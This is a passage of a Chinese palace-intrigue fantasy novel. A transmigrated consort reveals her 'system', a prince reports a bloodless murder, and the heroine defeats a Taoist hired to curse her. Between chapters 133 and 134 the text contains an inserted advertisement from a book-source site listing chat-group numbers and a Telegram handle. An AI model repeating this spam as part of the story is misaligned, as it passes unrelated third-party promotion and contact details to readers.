“好啦,不吓唬你们了。我第一眼看到你吟诗的时候,就觉得你这气质不像这死板地方养出来的人。实话告诉你们吧,我也不是这个世界的原住民。我呢,有个小玩意儿叫‘读心系统’,所以你们心里想的,我大概都能知道。” 林小满眸光一闪,“……读心系统?” 梦嫔很是干脆地点了点头,随即像是卸下了所有伪装,大大咧咧地翘起了二郎腿,一个与宫廷礼仪极不相符的随意姿势,唉声叹气道: “唉,虽然不确定你们是不是也来自二十一世纪,但总算碰到‘疑似老乡’了!我是真想找个人合计合计,看能不能帮我离开这鬼地方。一天天的,真是烦死了,什么都要装,笑不露齿行不动裙的,憋屈!什么都得跟家族绑定,烦!还有那个臭皇帝……” 第132章 你们的任务是什么 她嫌弃地皱皱鼻子,“身上一股味儿,老婆那么多也不怕得脏病!” “梦嫔娘娘!慎言!”林小满下意识地出声阻止,警惕地扫了一眼亭外。 “安啦安啦~”梦嫔浑不在意地摆摆手, “放心,这会儿绝对不会有人过来打扰的,我这系统好歹有点屏蔽附近无关人等的基础功能。” 她话锋一转,忽然带着几分戏谑看向林小满,眼神变得探究起来, “不过,我就这么轻易一说,你们就这么信了?万一我是骗你们的,或许就想用这个把柄害死你们呢?” 林小满迎着她的目光,微微摇头,语气肯定:“你不会。” 梦嫔闻言,先是一愣,随即像是听到了极有趣的事情,哈哈笑了起来,抚掌道:“不错不错,果然有眼光!” 林小满一时之间竟有些语塞。 梦嫔却像是打开了话匣子,继续道: “小满,我可以这么叫你吧?唉,这是我来这个世界的第四个年头了。刚来的时候,我那破系统就告诉我,必须完成什么劳什子任务才能回去。可气人的是,它一直跟我玩猜谜,到现在我都不知道那任务具体是个啥!” 她说着,语气带上了几分抱怨,但随即又眼睛一亮, “一直到今天早晨,那闷葫芦系统突然诈尸,提示我必须来赏花宴,说是有‘惊喜’等着我。刚才看到你在那儿‘柔弱不能自理’的模样,我估摸着,你就是那个‘惊喜’了!” 林小满闻言,下意识摸了摸自己的脸颊,略显尴尬地低声问道:“我……装得有那么假吗?” 梦嫔被她这突如其来的问题噎了一下,没好气地翻了个白眼,……这是重点吗?! 她清了清嗓子,眼神里带着期盼, “说正经的,你们还没告诉我呢,是不是和我一样来自21世纪?你们的任务是什么?等你们完成任务离开这鬼地方的时候,能不能行行好,带上我一起?” 林小满摇了摇头,“我们并非来自于你所说的那个世界。你要如何离开,我们也未可知。不过,” 她顿了顿,看向梦嫔,“今日萍水相逢,承蒙娘娘……坦诚相待。他日你若有用得着我帮忙的地方,只要不伤天害理,不伤及无辜性命,力所能及之处,我可以帮你。” 梦嫔脸上期待的笑容瞬间凝固,变得有些不可置信,她疑惑地上下打量着林小满: “你们真不是21世纪的?不可能啊!我这双眼睛看人很准的,我的系统虽然废,但不至于连这个都判断错吧?” 林小满神色平静,反问道:“梦嫔娘娘,我究竟来自于何处,这真的很重要吗?” 梦嫔听见这话,愣了一下,随即像是被点醒了什么,她缓缓站起身,目光投向亭外摇曳的花枝,沉默了片刻,再转回身时,脸上已恢复了那种略带慵懒的笑意: “你说的对,这不重要。”她语气轻松了些许, “刚才你说的承诺,我可都记住了。如果我有需要帮忙的地方,我会去找你。同样的,如果你在这宫里有需要我搭把手的地方,尽管开口,我也会倾尽全力。” 林小微微颔首:“那就多谢梦嫔娘娘了。” 梦嫔笑了笑,不再多言,转身款步向亭外走去。 她的贴身宫女无声地跟上。走了两步,梦嫔突然停住脚步,并未回头,只是声音清晰地传来: “你们出来的时辰有些久了,再不回去,怕是有人要起疑了。” 她顿了顿,声音压低了些,“还有,虽然我不知道你究竟如何得罪了那位方郡主,但她和淑妃娘娘那边……向来是心狠手辣,不达目的誓不罢休的。你自己,千万小心些。” 说完,她便不再停留,扶着宫女的手,袅袅婷婷地消失在花径深处。 林小满和小花目送着梦嫔的身影消失在花木深处,小花挠了挠头,脸上满是困惑,小声嘀咕道: “小满,这位梦嫔娘娘说的话……什么系统、二十一世纪、任务的,我怎么一句都听不懂?她到底是啥意思啊?” 林小满收回目光,神色平静:“不必深究她话中所有含义。你只需记住,她目前对我们没有恶意,甚至可视为潜在的盟友,不会伤害我们,这便够了。” “哦……”小花似懂非懂地点点头,“反正听起来是好人就行。” “走吧,”林小满理了理微皱的衣袖,“我们确实出来太久了,该回去了。” “好。” …… 宫门口,此时太阳已微微西斜,赏花宴散场,各家贵女们在宫人的引导下陆续出宫。 林知鸢和秦婉一左一右,亲昵地挽着林小满的手臂,一边低声说笑着,一边朝着自家马车停靠的方向走去。 “林小姐,请留步。” 一个清朗的男声自身后传来,三人闻声驻足,回头望去,只见裴昭带着侍从东风,正步履匆匆地向她们走来。 “王爷。”林小满与林知鸢立刻敛衽行礼。 秦婉则眼睛一亮,很是开心地唤了一声:“昭哥哥!” 裴昭快步上前,虚扶了一下,目光落在林小满身上: “林小姐不必多礼。”他语气温和,随即又看向林知鸢和秦婉,微微颔首示意。 林小满直起身,抬眼看向裴昭,轻声问道:“王爷叫住臣女,可是有何事?” 裴昭正欲开口,一个娇嗲急切的声音便从他身后传来,打断了他:“表哥!” 众人转头,只见方令仪提着裙摆,几乎是蹦跳着小跑过来,脸上带着甜美的笑容,一把就挽住了裴昭的手臂,语气亲昵又带着几分撒娇的意味: “表哥!你也是特地来送令仪出宫的吗?令仪就知道表哥最好了!” 裴昭眉头几不可查地一蹙,面无表情地将自己的手臂从方令仪的怀中抽了出来,带着几分疏离。 他并未看方令仪,目光依旧落在林小满身上,只是语气比方才冷了几分: “郡主,请自重。本王有事与林小姐相谈,并非为你而来。” 第133章 奇怪的死因 方令仪脸上的笑容瞬间僵住,挽留的手还尴尬地悬在半空,她难以置信地看着裴昭冷硬的侧脸,又嫉又恨地瞪了林小满一眼,脸色一阵青一阵白。 方令仪脸上的笑容僵硬无比,却仍强撑着嘴角的弧度,声音发嗲:“表哥,你说什么呢?我……” 她话还未说完,跟在身后的贴身丫鬟便小心翼翼地轻轻扯了扯她的衣袖。 方令仪正觉难堪,顿时将火气撒向了丫鬟,恶狠狠地转过头瞪了她一眼。 那丫鬟吓得一缩,连忙踮起脚尖,飞快地在方令仪耳边低语了几句。 也不知那丫鬟说了什么,方令仪脸上的怒色和尴尬竟迅速褪去,转而浮现出一种混合着得意和看好戏的神情。 她再次转向裴昭时,语气变得“善解人意”了许多,甚至还故作端庄地轻轻福了一礼: “既然表哥有正事要与林妹妹相谈,那令仪就不打扰了。” 她说着,目光扫过林小满几人,笑容变得有些意味深长,“表哥再见,各位妹妹,再见哦。” 说完,她这才真正扭着腰肢,带着丫鬟袅袅婷婷地走向了不远处的郡主车驾。 秦婉看着方令仪那故作姿态的背影,忍不住搓了搓手臂,小声对林知鸢嘀咕道: “她今天吃错药了吧?怎么突然变得这么……呃……矫揉造作?” 林知鸢也微微蹙眉,林小满却只是淡淡一笑,仿佛并未将这个小插曲放在心上。 她重新看向裴昭,语气温和地问道:“王爷,方才您想说什么?” 裴昭神色微凝,目光扫过四周,见并无闲杂人等靠近,才压低了声音对林小满道: “林小姐,我本不该以此等琐事扰你,只是今日永兴坊一家胭脂铺发生了一桩命案,案情颇为蹊跷,本王负责巡查此案,觉得或许……该让你知晓。” 秦婉一听“命案”二字,立刻好奇地瞪大了眼睛,凑近了些问道:“昭哥哥,哪里奇怪了?快说说!” 裴昭眉头紧锁,沉声道:“受害者死状极为诡异,周身血液仿佛被抽干殆尽,只剩下一副皮囊包裹着骨架,干瘪异常。” 秦婉闻言,嘴巴张得更大了,简直不敢相信自己的耳朵,惊疑道: “怎、怎么可能?!这……这得是用什么邪门的方法才能把人的血一下子全放干啊?” 裴昭摇了摇头,语气愈发凝重:“并非如此。今日我亲自去勘验过,那受害者周身皮肤完好,竟找不到一丝一毫的伤口。若真是被人以器具或其他方法放血,绝无可能不留任何痕迹。” 秦婉莫名地打了个冷颤,下意识地抱紧了手臂,声音都有些发颤: “这、这大白天的……听着怎么那么瘆人?不会……不会是有什么不干净的东西吧?” 林知鸢轻轻推了她一下,低声道:“婉儿,别瞎说。” 秦婉讪讪地“嘿嘿”笑了两声,缩了缩脖子,不敢再乱猜,但眼底的好奇和恐惧却丝毫未减。 裴昭眉头紧锁, “本王并非危言耸听,只是此事实在诡异,寻常手段绝难做到。我担心……凶手或许并非普通人,而是涉及了些邪门歪道。正因如此,才冒昧想请林小姐前去现场察看一二,或有我等凡夫俗子所不能见的发现。” 林小满闻言,并未立刻答应,而是问道:“王爷可曾仔细查问过?受害者平日可有仇家?铺子里近日可有异状?” “本王尚未亲自细查,京兆尹李大人已着手调查这些。” 裴昭答道,随即话锋一转,“只是直觉此事绝非寻常仇杀那般简单,其手法闻所未闻,更似与某些阴邪之术相关。而且……” 他顿了顿,看向林小满的目光带上一丝探究,“那胭脂铺的贾掌柜,今日问话时,特意提到了林小姐。” “哦?”林小满眉梢微挑。 “那贾掌柜说,昨日林小姐曾与令舅一同光顾小店,似乎还对他们的生意颇感兴趣,有意投资?”裴昭说着,仔细观察着林小满的反应。 林小满闻言,竟扑哧一声轻笑出来,摇了摇头道:“确有此事。不过,王爷误会了。我与舅舅并非真要去投资那胭脂水粉的生意。” 她语气轻松,带着几分戏谑,“只是那贾掌柜本人……秘密颇多,言行又有些可疑,我们昨日不过是寻个由头,故意去探探他的底,逗他一逗罢了。” 裴昭恍然,点头道:“原来如此。那贾掌柜确实眼神闪烁,言行不一,不像是个安分的生意人。只是……”他仍有不解,“林小姐为何会特意去留意他?” 林小满微微一笑,并未直接回答,只是道:“王爷放心,依我看来,今夜那胭脂铺应不会再出什么事端。” 她略一沉吟,“今夜我还有些私事需处理。这样吧,若王爷方便,明日上午辰时,请至林府,届时我再与王爷细说,并可随王爷一同去现场察看,王爷意下如何?” 裴昭见林小满神色笃定,心中虽仍有疑虑,却莫名安定了不少。 他对林小满的能力有着一种近乎本能的信任,既然她说今夜不会再有事,那多半便是如此。 听闻她另有要事,虽有些担忧,却也不便强求,只是仍关切地问了一句: “既如此,本王明日辰时定当准时拜访。只是……林小姐今夜若需相助,尽管开口,本王或可尽些绵薄之力。” 林小微微摇头,婉拒道:“多谢王爷好意,些许私事,尚能应付。” 她抬眼看了看天色,夕阳已沉下大半,宫墙的影子被拉得老长,暮色渐浓。 “王爷,天色已晚,臣女不便在外久留,若没有其他要事,便先行回府了。” 裴昭颔首,目光在她略显疲惫却依旧清亮的眼眸上停留一瞬, “无事叨扰了,林小姐请便。” 林小满与林知鸢闻言,再次敛衽一礼:“臣女告退。” 一直在一旁眨巴着眼睛,目光在裴昭和林知鸢之间来回逡巡的秦婉,见状也赶忙上前一步,笑嘻嘻地对裴昭道: “昭哥哥,那我也走啦!拜拜!” 她活泼地挥了挥手,也不等裴昭回应,便转身小跑着追上了已转身离去的林小满和林知鸢,亲昵地挽住了两人的胳膊。 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第134章 我才不要进宫 东风看着林家马车渐行渐远,最终消失在街角,这才收回目光,转而看向自家王爷。 只见裴昭仍伫立在原地,目光望着马车消失的方向,似乎有些出神。 东风眨了眨眼,大着胆子伸出手,在裴昭眼前晃了晃,语气带着几分促狭: “王爷?回神啦!林小姐的马车轱辘印儿都快看不见了!” 裴昭被他一扰,这才猛地收回视线,略显尴尬地轻咳一声,掩饰般地瞪了东风一眼,语气却并无多少责备:“多事。” 东风嘿嘿一笑,凑近了些,压低声音道: “王爷,您要是实在不放心林小姐……要不,属下暗中跟去林府外守着?保证不让林小姐发现!” 裴昭闻言,眉头微蹙,却摇了摇头: “不必。她既说能应付,便无需我们画蛇添足。” 他顿了顿,话锋一转,语气恢复了平日的沉稳,“不过,永兴坊那边,终究不能完全放心。东风,” “属下在!”东风立刻挺直腰板。 “你骑马,沿着京城主要街巷巡弋一圈,特别是永兴坊附近,留意是否有任何异样气息或不寻常的动静。若有发现,立刻回报,不得擅自行动。” 东风一听不是去蹲守林府,而是正经差事,立刻收敛了玩笑神色,抱拳正色道: “是!王爷放心,属下这就去!” 说完,他利落地转身,快步走向拴马桩,解下自己的坐骑,翻身上马,一抖缰绳,便朝着永兴坊的方向疾驰而去。 裴昭收回视线,再次望向林小满马车消失的街角,他眼眸里掠过一丝难以察觉的怅惘,低声自语道: “你究竟何时……才愿稍稍敞开心扉,看一看我的心呢?” …… 林府。 刚用过晚膳,沈清秋和林知鸢便急匆匆地来到了林小满的院子,两人脸上都写满了担忧。 “小满,今晚……真的不会有事吗?”沈清秋拉着林小满的手,眉头紧蹙,语气里是化不开的忧心。 林小满反手轻轻拍了拍母亲的手背,安抚地笑了笑: “娘,您就放心吧,一切都在掌控之中,不会有事的。” “那……我们需要做些什么?”林知鸢在一旁急切地问道。 林小满站起身,“现在,娘您需要立刻派人,做出急切慌张的样子,去请一位信得过的大夫过府。然后,调派可靠的心腹家丁,将我这小院内外暗暗围住,对外只说是我突发急症,需要静养,严禁任何人进出探视,包括爹爹和景明。” 她顿了顿,看向沈清秋,“至于大夫请来之后,如何安置、如何对外说道,就需要娘您来周旋了,总之,绝不能让他察觉到我院中的真实情况,也不要带到我这里来。” “好,娘明白了,这就去办!”沈清秋虽仍担心,但见女儿如此镇定,也强自压下心绪,立刻转身出去安排。 待沈清秋离开,林小满又低声对林知鸢细细嘱咐了几句,林知鸢认真记下,重重点头。 安排妥当后,林小满这才带着小花转身走进内室。 房门轻轻合上,隔绝了外面的世界。 这场精心准备的“请君入瓮”,大戏即将开锣。 深夜。 长公主府一处偏僻的后院,更是静得可怕。 偶尔一阵冷风吹过,卷起地上的落叶,发出簌簌的轻响,更添几分阴森 四周黑黢黢的,只有一间厢房里透出微弱跳动的烛光。 屋内,一个穿着青色道袍、留着山羊胡须的老道士,正盘腿坐在一张简陋的木桌前。 桌上,赫然摆放着一个用枯草扎成的人偶,人偶身上似乎还贴着符纸,旁边则是一把泛着暗光的桃木剑。 正堂内,长公主闭目靠坐在主位的软榻上,一手缓缓捻动着佛珠。 方令仪完全无法安坐,在铺着华丽地毯的厅堂里来回踱步,裙摆窸窣作响,脸上写满了焦灼与期待,时不时地望向门外。 终于,一个穿着体面的嬷嬷快步走进厅内,压低声音禀报道: “长公主,郡主,刚传来的消息,林府那边……急匆匆地请了大夫入府,门房说看着情形很是紧急!” “当真?!”方令仪猛地停下脚步,脸上瞬间绽放出狂喜的笑容,她几乎是雀跃着转向长公主, “母亲!您听见了吗?我们成了!刘道长果然得手了!” 长公主缓缓睁开眼睛,眼底也掠过一丝满意的笑意,但很快便被她压下。 她嗔怪地看了女儿一眼,语气带着惯有的教导: “仪儿,跟你说过多少次,要沉得住气。喜怒形于色,乃是大忌。一点小事便让你如此失态,将来如何成大事?” 方令仪此刻正沉浸在成功的喜悦中,对母亲的训诫也不以为意,撒娇般笑道: “知道啦母亲,女儿这不是太开心了嘛!那刘道长果然有些真本事,不枉我们花了重金请他出手。” 长公主微微颔首,嘴角噙着一丝冰冷的笑意: “这位刘道长在江湖上颇有些邪门的名声,手段自是了得。此番即便不能立刻要了那丫头的性命,也必叫她元气大伤,半身不遂,从此缠绵病榻,再难兴风作浪。” 她说着,目光转向女儿,带着安抚与笃定,“放心吧,仪儿,她再也成不了你的阻碍。一个病弱之人,如何还能与你相争?” 方令仪闻言,脸上的喜色稍敛,转而浮现出一丝愤恨与不甘,她冷哼一声道: “哼!她今日在宴会上不过信口胡诌了句歪诗,就得了皇上那般夸赞,出尽了风头!若是再放任下去,假以时日,岂不是要骑到我们头上来作威作福?还有今日宫门口,表哥为了她,竟当着那么多人的面直接甩开我的手,让我颜面何存!这口气,我怎能咽下!” 长公主看着女儿这副被嫉妒冲昏头脑的模样,轻轻叹了口气,语气变得有些语重心长: “仪儿,你实话告诉母亲,你就当真非那裴昭不可吗?以你的身份,若你愿意,母亲豁出这张老脸,求皇上让你入宫,便是贵妃、皇贵妃之位,也未必不能争上一争。何必非要执着于裴昭?他那个人……心思深沉,连母亲有时都看不透,你这般性子,如何能拿捏得住他?只怕到头来吃亏的是你自己。” 第135章 你究竟是谁 方令仪一听要她入宫,立刻把头摇得像拨浪鼓,语气带着明显的抗拒和娇嗔: “母亲!您说什么呢!我才不要嫁给皇上表哥呢!宫里规矩那么多,妃嫔一大堆,整日里勾心斗角不说,想出趟宫都难如登天,闷也闷死了!哪有在外面自在?” 她说着,脸上又泛起红晕,语气变得执拗而憧憬: “我就要裴昭表哥!他……他虽然有时候是冷了点,心思是重了些,可女儿就是喜欢他!喜欢他那样厉害,那样让人捉摸不透!女儿相信,只要没有林小满那个碍眼的贱人,表哥他总有一天会看到我的好,会接受我的!” 长公主看着女儿娇憨执拗的模样,又是无奈又是心疼,最终化作一声长长的叹息: “你啊你……真是被母亲宠坏了。可谁让你是母亲唯一的女儿呢?” 她伸手,指尖轻轻拂过方令仪的脸颊,眼中充满了近乎偏执的溺爱, “只要是你想要的,莫说是一个裴昭,便是要那天上的月亮,母亲拼了这条命,也会想法子摘来给你。你父亲他……哼,他心里只有他的玩乐,何曾真正在意过我们母女?但母亲不一样,母亲定要将这全天下最好的,都捧到我的仪儿面前。” 方令仪听到母亲这番近乎誓言般的话语,心中感动不已,立刻蹲下身,依偎在长公主的腿边,将脸轻轻靠在母亲的膝上,软软地撒娇道: “母亲,我就知道,这世上您对我最好了!” 长公主爱怜地轻抚着女儿的头发,眼神柔软了一瞬,很快她抬起头,目光锐利地射向那幽深后院的方向,那里烛光微弱,却进行着阴毒的勾当。 她的眼神瞬间变得冰冷而狠厉,仿佛淬了毒的刀锋,低声喃喃,又像是在对女儿保证: “我的仪儿放心,任何挡了你路的人……母亲都不会让她好过。” 刘道长猛地睁开双眼,眼中精光暴涨,哪里还有半分方才打坐时的沉静。 他缓缓站起身,干瘦的身形在昏暗的烛光下拉出扭曲的影子。 他伸出枯柴般的手,小心翼翼地捧起桌上那个贴着符纸的枯草人偶,就像是在抚摸一件稀世珍宝,嘴角勾起一抹兴奋的弧度。 “时辰到了……”他沙哑地低语一声,眼中闪过一丝狠毒与贪婪。 随即,他毫不犹豫地将食指伸入口中,用力一咬,指尖瞬间沁出暗红色的血珠。 他迅速将滴血的手指按在那草偶的头部,以血为墨,飞快地在那粗糙的草茎上画下一个诡异扭曲的符文。 鲜血渗入枯草,那符文仿佛活了过来,散发出一种不祥的暗红光泽。 刘道长口中念念有词,语速极快,随着他的吟诵,屋内的空气似乎都凝滞了,温度骤降,那烛火也不再跳动,而是笔直地向上燃烧。 他一手紧握着那不断汲取他鲜血的草偶,另一手猛地抓起了桌上的桃木剑,剑尖直指草偶心口的位置。 就在桃木剑尖即将彻底刺入草偶心口的刹那,那草偶竟如同被火焰灼烧,瞬间化作一缕青烟,消散无踪,连半点灰烬都未曾留下! 刘道长脸上刚露出一丝施法成功的松懈,一道清冷又带着几分戏谑的女子声音,毫无预兆地在他身后极近处响了起来: “这位道长,真是好雅兴啊。深更半夜,在别人府邸,行这等阴邪害人之术,就不怕折损阳寿,遭天谴吗?” 这声音来得太过突兀,像是贴着他耳根响起。刘道长浑身猛地一僵,只觉得一股寒气瞬间从脚底窜上天灵盖,脑门上顿时渗出细密的冷汗。 他强压下心中的惊骇,猛地转过身,脸上硬是挤出一个扭曲的、试图镇定的笑容,厉声喝道: “你是谁?!为何会在此处?!你可知道这是什么地方?惊扰了贵人,你担待得起吗?!” 那声音轻笑一声,带着几分玩味和意味深长: “我是谁?道长连你要害的正主是谁都认不出,就敢贸然施这等绝命邪术?你这生意做得,未免也太不谨慎了。” 刘道长脸色骤变,瞳孔猛地收缩,难以置信地微微张大了嘴巴,声音都带上了颤音: “不…不可能!你…你就是林小满?!你怎么会……”他下意识地转头看了一眼桌上那还残留着一丝微弱波动的桃木剑,又猛地看向不知何时已然悄无声息立在他身后阴影中的窈窕身影,心中的惊骇无以复加, “你究竟是谁?!如何能闯入此地?!” 他的眼神和语气里充满了对长公主府护卫不力的惊怒与责备,千叮万嘱施法期间绝不能受打扰,如今不仅让人进来了,还是这般神不知鬼不觉地摸到了自己身后! 难道是自己方才太过专注于施法,竟疏忽至此?! 林小满仿佛看穿了他心中所想,语气依旧平淡,却带着一股令人心悸的压迫感: “不必觉得奇怪,也无需埋怨他人。我既能悄无声息地站在这里,便只能说明一件事——” 她微微向前倾身,烛光映亮她半张带着浅笑却冰冷无比的脸庞。 “你的那点微末道行,在我面前,根本不够看。” 刘道长被她这番话气得浑身发抖,枯瘦的手指猛地抬起,直直指向林小满,嘴唇哆嗦着,却只挤出一个字: “你——!!” 林小满轻轻巧巧地侧身避开他那几乎要戳到鼻尖的手指,语气轻快得像是在点评一件无关紧要的物件,眼神里却满是毫不掩饰的鄙夷: “你什么你?技不如人就要认输,这般气急败坏,岂不是连最后那点装神弄鬼的体面都不要了?看来阁下不仅修为浅薄,连涵养也甚是欠缺呢。” “不对!”刘道长像是突然抓住了什么救命稻草,猛地收回手,眼神惊疑不定地上下扫视着林小满, “你根本就不是林小满!绝无可能!贫道的咒从未失手,中咒者魂魄顷刻间便会被煞气侵蚀湮灭,绝无生还之理!你究竟是谁?是人是鬼?!” 第136章坐实谋害朝廷命官之女的罪名 林小满闻言,像是听到了极有趣的笑话,抬手掩唇,发出一串银铃般的轻笑,眼波流转间带着几分戏谑和嘲讽: “我自然是我自己,是这世间最独一无二、最绚烂的烟火呀。至于你的什么咒……” 她拖长了语调,摇了摇头,语气惋惜又带着几分调侃,“看来不仅没要了我的命,反而把你自己的脑子给咒糊涂了,连眼前站着的是谁都分不清了。唉,真是可怜呐。” “哼!我管你是人是鬼,是妖是怪!”刘道长眼中凶光毕露,杀意骤起,“能悄无声息摸到贫道身后,留你不得!” 他叱咤江湖多年,阴狠手段层出不穷,还从未有人能如此轻易近他的身,甚至连他那位道行高深的师兄都做不到!此女绝不能留! 话音未落,他干瘦的身形竟爆发出惊人的速度,五指成爪,直取林小满咽喉要害! 这一击又快又狠,显然是存了一击毙命的心思! 然而,他志在必得的一爪却猛地落空了! 就在他指尖即将触碰到那片细腻肌肤的刹那,林小满的身影微微一晃,竟在他眼前凭空消失了! 刘道长一击落空,力道收势不及,向前踉跄半步,猛地抬头,错愕地看着眼前空无一人的厢房。 烛火依旧笔直燃烧,屋内除了他自己粗重的呼吸声,再无其他声响。 “人呢?!”他心中骇然,刚才明明就在眼前! 但他毕竟经验老道,惊疑只持续了一瞬,一个念头猛地窜入脑海,瞬移之术?!这么年轻的一个小姑娘,怎么可能掌握如此高深的术法?! 强烈的危机感瞬间攫住了他,他毫不犹豫,猛地转身冲出厢房,来到寂静无声的院落中。 突然,一丝极细微的气息波动从他左后方传来! 刘道长眼中狠毒之色大盛,几乎想也不想,反手就是一挥! 数张早已扣在掌中的黑色符箓激射而出,在空中无火自燃,化作数道黑色鬼影,扑向那气息传来之处! 他倒要看看,这装神弄鬼的黄毛丫头,如何接下他这连环杀招! 就在那数道狰狞鬼影即将扑至的瞬间,一道金光突然亮起,那几道凶煞鬼影撞上金光,连惨叫都未曾发出,便无声无息地消融殆尽,连一丝黑气都未曾留下。 刘道长瞳孔骤缩,心中警铃大作,正想变招,一只微凉的手却轻轻拍了拍他的右肩。 “啧,”林小满那带着明显嘲弄的声音再次贴着他耳根响起,气息拂过他的耳廓,让他浑身汗毛倒竖, “搞出这么大阵仗,又是咬指头又是放小鬼的,我还以为多大本事呢。” 刘道长差点没吓得魂飞魄散,几乎是本能地向前猛蹿一步,同时回身一剑横扫而出! 桃木剑却再次扫了个空。 林小满不知何时已好整以暇地站在了他方才位置的身后,双手环胸,歪着头看他,脸上挂着十足惋惜的表情,摇着头道: “结果就这?连我的衣角都摸不到,真是……令人失望透顶。长公主府请人的眼光,看来也不怎么样嘛。” 刘道长被她这接连的戏弄和嘲讽气得脸色铁青,胸口剧烈起伏,山羊胡子都翘了起来。 他活了大半辈子,何曾受过这等屈辱! “黄口小儿!休得猖狂!”他厉声喝道,声音因愤怒而有些尖利, “不过仗着身法诡异了些,就敢如此目中无人!方才不过是贫道一时大意,小觑了你,才让你侥幸得逞!真当贫道奈何不了你吗?!” 林小满闻言,非但不惧,反而像是听到了什么极其可笑的事情,夸张地“啧啧”两声,摇头晃脑地道: “哎哟哟,打不过就开始找借口了?‘大意了’、‘侥幸’……你们这些输不起的人,说辞怎么都一模一样,毫无新意。” 她话锋一转,带着几分审视的意味上下打量着他: “不过,我倒是真有点佩服你的胆子。在长公主府里,就敢动用这等阴损咒术,你是真的一点后路都不给自己留,也半点没考虑过万一失手……会是个什么下场啊?” 她微微歪头,语气轻飘飘的, “是长公主许你的报酬太高,让你利令智昏了?还是你觉得,你这半吊子的邪术,真的能瞒天过海,万无一失?” 林小满继续慢悠悠地说道,每一个字都像小锤子敲在刘道长紧绷的神经上: “你难道就没仔细想过,但凡你这术法有丝毫纰漏,或者像现在这样……彻底失败了。以长公主那般狠辣决绝、不容有失的性子,她会如何对待你这个知晓内情却又办事不力的‘高人’?” 她故作惊讶地掩了掩唇,眼中却全是冰冷的了然: “她那样的人,是绝不会允许任何可能危及她和她宝贝女儿名声的隐患存在的。到时候的你……呵,恐怕就不是拿不到报酬那么简单了。灭口,才是最常见的处理方式吧?你这可是自己把脖子伸进了铡刀下呢。” “哼!牙尖嘴利!打嘴炮贫道说不过你!”刘道长脸色愈发难看,但他此刻已骑虎难下,唯有硬拼到底, “手底下见真章吧!看招!” 话音未落,他眼中凶光再起,体内邪功疯狂运转,周身弥漫起一股更浓重的黑气,干瘦的身形如同鬼魅般,再次猛地朝林小满扑去! 这一次,他五指曲张,直抓林小满天灵盖,显然是用上了更阴毒的功力! 就在他动身的同一刹那,林小满眼神一凛,一直看似随意把玩着的九幽莲心簪在她指尖轻巧一转。 下一秒,她周身气势陡然一变,不再是那副戏谑玩闹的模样,身形如电,竟不闪不避,迎着刘道长的凌厉爪风直刺而去! …… “你说什么!” 正堂内,长公主手中的茶盏“啪”地一声掉落在地,摔得粉碎。 滚烫的茶水溅湿了她的裙摆,她却浑然未觉,猛地从榻上站起身,凤目圆睁,死死盯着下方跪地禀报的丫鬟。 那丫鬟被吓得浑身一颤,头垂得更低,声音带着哭腔和惊惧: “长公主息怒!奴婢……奴婢不敢有半句虚言!奴婢方才奉命去后院给刘道长送些茶水点心,远远地就看见……看见一个穿着浅色衣裙的年轻女子,正与刘道长在院中……在院中交手!” 她咽了口唾沫,声音发颤:“那女子身法诡异得很,刘道长……刘道长他似乎……似乎完全处于下风,被打得毫无还手之力!奴婢吓得没敢靠近,赶紧回来禀报!” “不可能!”一旁的方令仪失声叫道,脸上写满了难以置信, “那贱人此刻应该已经奄奄一息了才对!怎么会……” 她越想越觉得那丫鬟的描述可疑,一股不祥的预感攫住了她,她猛地转身就要往外冲,“我去看看!” “站住!”长公主厉声喝止,声音冰冷刺骨,“你去哪里?!” 方令仪脚步一顿,急声道:“母亲!那丫鬟说的,听起来分明就是林小满那个贱人!她怎么会在这里?还和刘道长打起来了?我必须去看看!” “糊涂!”长公主快步上前,一把拽住她的手腕,力道之大,掐得方令仪生疼, “你现在跑去,是想告诉所有人,那后院行邪术的道士是我们请来的吗?是想坐实我们谋害朝廷命官之女的罪名吗?!一旦事情败露,你我都得完蛋!” 第137章 待客之道 “可是母亲……”方令仪被拽得生疼,又急又怕,声音里带上了哭腔, “万一……万一真是她,万一刘道长真的败了,我们……我们该怎么办?她肯定不会放过我们的!” 长公主深吸一口气,强压下心中的惊涛骇浪,松开女儿的手腕,转而对着地上瑟瑟发抖的丫鬟冷声道: “你,立刻回去,给我死死盯住院子里的动静!有任何情况,立刻来报!记住,绝不能让任何人发现!” “是……是!奴婢遵命!” 那丫鬟如蒙大赦,连滚带爬地退了出去,身影迅速消失在夜色中。 待丫鬟离去,方令仪仍是不安,抓住长公主的衣袖,声音发颤: “母亲,若真是林小满,若她连刘道长都能打败……她、她接下来会怎么做?她一定会来找我们算账的!” 长公主冷哼一声,尽管心中也惊疑不定,面上却强自维持着镇定,语气带着惯有的高傲与不屑: “慌什么!就算她真有通天的本事,猜到了是我们所为,那又如何?无凭无据,她敢直接打上长公主府吗?” 她走到窗边,看着外面沉沉的夜色,眼神阴鸷: “这种事情,从来都是你知我知,天知地知。就算她心知肚明是我们做的,没有真凭实据,她敢撕破脸吗?除非她想引发朝堂动荡,除非她林家想与我们不死不休!谅她也没这个胆子!” 方令仪听见母亲这番话,像是找到了主心骨,脸上的惊慌稍褪,转而浮现出一丝惯有的骄横。 她轻嗤一声,语气又恢复了那份高高在上: “母亲说的是!量他林家就算有泼天的胆子,也不敢真与我们长公主府硬碰硬!她父亲是丞相又如何?不过是个臣子!母亲您可是当今圣上唯一的姑母,尊贵无比!我就不信,她林家敢为了一个区区的林小满,就豁出全家性命来与我们为敌!” 但随即,她又蹙起眉头,眼中闪过一丝困惑与忌惮: “不过母亲……那林小满,当真隐藏得如此之深?有这般厉害的手段?今日在宴席之上,她分明是一副弱不禁风、病入膏肓的模样,连走路都需要人搀扶,那脸色苍白得……难不成全是装出来的?” 长公主目光幽深地望向后院方向,那里似乎隐约传来一些不寻常的动静,让她心头愈发沉重。 她缓缓道:“若非装出来的,那便是她身上确有我们不知道的古怪。无论是哪一种,此女……都远比我们想象的要难缠得多。今日之事,恐怕不能善了了。” 长公主眉头紧锁,指尖无意识地捻动着腕上的佛珠,沉吟道: “刘道长的手段,我见识过多次,绝非浪得虚名。他的咒术阴狠刁钻,防不胜防。按理说,那林小满就算真有些保命的本事,也绝无可能如此轻易地破解,甚至还能反制……除非……” “除非什么?”方令仪急忙追问,心都提到了嗓子眼。 长公主眼中闪过一丝精光,语气变得愈发凝重: 